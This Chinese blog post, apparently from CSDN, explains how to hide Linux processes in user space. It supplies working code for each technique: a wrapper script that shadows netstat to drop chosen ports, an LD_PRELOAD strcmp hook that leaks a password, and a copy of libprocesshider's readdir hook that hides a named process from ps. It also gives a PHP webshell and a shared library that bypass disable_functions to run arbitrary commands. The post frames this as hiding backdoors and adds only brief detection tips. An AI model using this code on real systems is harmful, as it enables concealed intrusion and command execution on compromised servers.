浅谈Linux进程隐藏

浅谈Linux进程隐藏

前言

💡 本文不会涉及内核层面,只是从应用层介绍linux下进程隐藏的一些知识点,抛砖引玉,探索更多的思路

  • 环境变量的绕过。
  • LD_PRELOAD绕过方法。
  • 一些简单实例。
  • 一些其它绕过思路。

环境变量的绕过

常用的命令在哪里

ps、netstat、ls等

whereis netstat
which netstat

img

环境变量的调用

查看环境变量:echo $PATH

思考一下我有两个路径下一样的程序会调用哪一个?

img

前置知识的了解

$@:

​ 以一个单字符串显示所有向脚本传递的参数

​ 查看环境变量:echo $PATH

grep:

​ -E 或 --extended-regexp : 将样式为延伸的正则表达式来使用。

​ -v 或 --invert-match : 显示不包含匹配文本的所有行。

Netstat伪装

Netstat位置:
/usr/bin/netstat
创建优先级较高文件:
创建/usr/local/bin/netstat
写入:

# !/bin/bash    
/usr/bin/netstat $@ | grep -Ev 'name|name|name'

含有引号中每个|分割符中的选项都会被屏蔽
可以是进程名、ip或端口
赋予权限执行:
chmod +x netstat
这样便隐藏了相关信息

查看当前网络连接

img

消失的3306

img

怎么去甄别

通过查看命令所在的位置

img

LD_PRELOAD

链接:编译器找到程序中所引用的函数或全局变量所存在的位置

静态链接:在程序运行之前先将各个目标模块以及所需要的库函数链接成一个完整的可执行程序,之后不再拆开。当多个程序都调用相同函数时,内存中就会存在这个函数的多个拷贝。

动态链接:指编译系统在链接阶段并不把目标文件和函数库文件链接在一起,而是等到程序在运行过程中需要使用时才链接函数库。

一旦你的程序动态载入的函数不是你自己写的,而是载入了别人的代码,通过返回值控制流程,那么就会带来一些危害。

正常情况下, Linux 动态加载器ld-linux会搜寻并装载程序所需的共享链接库文件, 而LD_PRELOAD是一个可选的环境变量,包含一个或多个指向共享链接库文件的路径。

加载器会先于 C 语言运行库之前载入LD_PRELOAD指定的共享链接库,也就是所谓的预装载 (preload)。通过这个环境变量,我们可以在主程序和其动态链接库的中间加载别的动态链接库,甚至覆盖正常的函数库。

如何利用呢?

简单实例

check.c

一个正常检查密码的C程序

正常编译并运行

//check.c
#include <stdio.h>
#include <string.h>
int main(int argc, char **argv){
    char passwd[] = "true_password";
    if(argc<2){
        printf("usage:%s <password>\n",argv[0]);
        return 0;
    }
    if(!strcmp(passwd,argv[1])){
        printf("Correct Passwword!\n");
    }
    else{
        printf("Invalid Password!\n");
    }
    return 0;
}

img

编译并运行

img

重载函数

重载strcmp()函数,并编译成动态链接库,实现劫持原函数的功能。

-shared:表明产生共享库

-fPIC:则表明使用地址无关代码,代码本身就能被放到线性地址空间的任意位置

//123.c
#include <stdio.h>
#include <string.h>
int strcmp(const char *s1,const char *s2){
    printf("s1=<%s>, s2=<%s>\n",s1,s2);
    return 0;
}
设置LD_PERLOAD

img

img

我们发现重载了函数,改变了原来函数的逻辑结构。

删除环境变量LD_PERLOAD
unset export LD_PRELOAD

img

PS的隐藏

跟踪PS

strace /usr/bin/ps

img

通过查看输出,发现PS就是在不断的读取/proc/pid 下的文件信息

一般先调用 newfstat() 确认文件状态,再调用openat()打开文件句柄,然后 read() 读取内容,最后close()关闭;不断重复这一系列动作从而获取进程信息。

不过这些调用是系统的调用,查阅资料PS直接调用的函数是readdir()opendir()

readdir函数

readdir函数返回一个指向dirent结构体的指针,该结构体代表了由dir指向的目录流中的下一个目录项;

如果读到end-of-file或者出现了错误,那么返回NULL。

readdir函数返回的值会被后续调用的(针对同一目录流的)readdir函数返回值所覆盖。

在Linux系统中,dirent结构体定义如下:

img

如何HOOK

思路如下:

  1. 重写readdir()函数,保证取值和返回类型相同
  2. 声明一个函数指针保存原始readdir()函数调用
  3. 程序调用我们假的readdir()函数时,函数内部去调用真正的readdir()获取到结果
  4. 函数内部判断当前进程路径是否为/proc
  5. 函数内部判断文件名是否为要过滤的进程名
  6. 当两个条件都满足时 continue 跳过,从而不打印进程名

参考别人的思路

https://github.com/gianlucaborello/libprocesshider

#define _GNU_SOURCE

#include <stdio.h>
#include <dlfcn.h>
#include <dirent.h>
#include <string.h>
#include <unistd.h>

/*
* Every process with this name will be excluded
*/
static const char* process_to_filter = "ping";

/*
* Get a directory name given a DIR* handle
*/
static int get_dir_name(DIR* dirp, char* buf, size_t size)
{
    int fd = dirfd(dirp);
    if(fd == -1) {
        return 0;
    }

    char tmp[64];
    snprintf(tmp, sizeof(tmp), "/proc/self/fd/%d", fd);
    ssize_t ret = readlink(tmp, buf, size);
    if(ret == -1) {
        return 0;
    }

    buf[ret] = 0;
    return 1;
}

/*
* Get a process name given its pid
*/
static int get_process_name(char* pid, char* buf)
{
    if(strspn(pid, "0123456789") != strlen(pid)) {
        return 0;
    }

    char tmp[256];
    snprintf(tmp, sizeof(tmp), "/proc/%s/stat", pid);

    FILE* f = fopen(tmp, "r");
    if(f == NULL) {
        return 0;
    }

    if(fgets(tmp, sizeof(tmp), f) == NULL) {
        fclose(f);
        return 0;
    }

    fclose(f);

    int unused;
    sscanf(tmp, "%d (%[^)]s", &unused, buf);
    return 1;
}

#define DECLARE_READDIR(dirent, readdir)                                \
static struct dirent* (*original_##readdir)(DIR*) = NULL;               \
\
struct dirent* readdir(DIR *dirp)                                       \
{                                                                       \
if(original_##readdir == NULL) {                                    \
original_##readdir = dlsym(RTLD_NEXT, #readdir);               \
if(original_##readdir == NULL)                                  \
{                                                               \
fprintf(stderr, "Error in dlsym: %s\n", dlerror());         \
}                                                               \
}                                                                   \
\
struct dirent* dir;                                                 \
\
while(1)                                                            \
{                                                                   \
dir = original_##readdir(dirp);                                 \
if(dir) {                                                       \
char dir_name[256];                                         \
char process_name[256];                                     \
if(get_dir_name(dirp, dir_name, sizeof(dir_name)) &&        \
strcmp(dir_name, "/proc") == 0 &&                       \
get_process_name(dir->d_name, process_name) &&          \
strcmp(process_name, process_to_filter) == 0) {         \
continue;                                               \
}                                                           \
}                                                               \
break;                                                          \
}                                                                   \
return dir;                                                         \
}

  DECLARE_READDIR(dirent64, readdir64);
  DECLARE_READDIR(dirent, readdir);

编译并验证

img

测试ping 发现进程中找不到ping,如果制作后门连接的话,会在netstat里面看到,这就需要对netstat里面的函数hook,此处就不再一一展开。

img

LD_PRELOAD的其他利用思路

https://github.com/yangyangwithgnu/bypass_disablefunc_via_LD_PRELOAD

当拿到一个PHP的webshell无法执行系统命令时,发现有disable_functions禁用了命令执行函数。可尝试LD_PRELOAD思路绕过

GCC 有个 C 语言扩展修饰符__attribute__((constructor)),可以让由它修饰的函数在main() 之前执行,若它出现在共享对象中时,那么一旦共享对象被系统加载,立即将执行__attribute__((constructor))修饰的函数。

<?php
  echo "<p> <b>example</b>: http://site.com/bypass_disablefunc.php?cmd=pwd&outpath=/tmp/xx&sopath=/var/www/bypass_disablefunc_x64.so </p>";

  $cmd = $_GET["cmd"];
$out_path = $_GET["outpath"];
$evil_cmdline = $cmd . " > " . $out_path . " 2>&1";
echo "<p> <b>cmdline</b>: " . $evil_cmdline . "</p>";

putenv("EVIL_CMDLINE=" . $evil_cmdline);

$so_path = $_GET["sopath"];
putenv("LD_PRELOAD=" . $so_path);

mail("", "", "", "");

echo "<p> <b>output</b>: <br />" . nl2br(file_get_contents($out_path)) . "</p>"; 

unlink($out_path);
?>
#define _GNU_SOURCE
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

extern char** environ;
__attribute__ ((__constructor__)) void preload (void)
{
    // get command line options and arg
    const char* cmdline = getenv("EVIL_CMDLINE");

    // unset environment variable LD_PRELOAD.
    // unsetenv("LD_PRELOAD") no effect on some 
    // distribution (e.g., centos), I need crafty trick.
    int i;
    for (i = 0; environ[i]; ++i) {
        if (strstr(environ[i], "LD_PRELOAD")) {
                environ[i][0] = '\0';
            }
    }

    // executive command
    system(cmdline);
}

References

  1. 进程隐藏
  2. disable_functions
  3. libprocesshider
  4. linuxStack
  5. readdir
  • 22
    点赞
  • 24
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值